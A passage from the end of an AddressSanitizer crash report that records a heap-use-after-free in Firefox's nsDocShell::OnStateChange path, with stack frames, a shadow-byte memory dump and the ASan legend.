#34 0x7f46dcadfc44 in nsDocShell::OnStateChange(nsIWebProgress*, nsIRequest*, unsigned int, nsresult) /home/worker/workspace/build/src/docshell/base/nsDocShell.cpp:7426:7
#35 0x7f46dcae765f in non-virtual thunk to nsDocShell::OnStateChange(nsIWebProgress*, nsIRequest*, unsigned int, nsresult) /home/worker/workspace/build/src/docshell/base/nsDocShell.cpp:7323:13
SUMMARY: AddressSanitizer: heap-use-after-free /home/worker/workspace/build/src/obj-firefox/dist/include/mozilla/RefPtr.h:308:36 in operator!
Shadow bytes around the buggy address:
0x0c168003a940: fd fd fd fd fd fd fd fd fa fa fa fa fa fa fa fa
0x0c168003a950: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fa fa
0x0c168003a960: fa fa fa fa fa fa 00 00 00 00 00 00 00 00 00 00
0x0c168003a970: 00 00 00 fa fa fa fa fa fa fa fa fa fd fd fd fd
0x0c168003a980: fd fd fd fd fd fd fd fd fd fa fa fa fa fa fa fa
=>0x0c168003a990: fa fa fd fd fd fd fd fd fd fd fd fd fd[fd]fd fd
0x0c168003a9a0: fa fa fa fa fa fa fa fa fd fd fd fd fd fd fd fd
0x0c168003a9b0: fd fd fd fd fd fd fa fa fa fa fa fa fa fa fd fd
0x0c168003a9c0: fd fd fd fd fd fd fd fd fd fd fd fd fa fa fa fa
0x0c168003a9d0: fa fa fa fa fd fd fd fd fd fd fd fd fd fd fd fd
0x0c168003a9e0: fd fd fa fa fa fa fa fa fa fa fd fd fd fd fd fd
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Heap right redzone: fb
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack partial redzone: f4
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==119582==ABORTING
```
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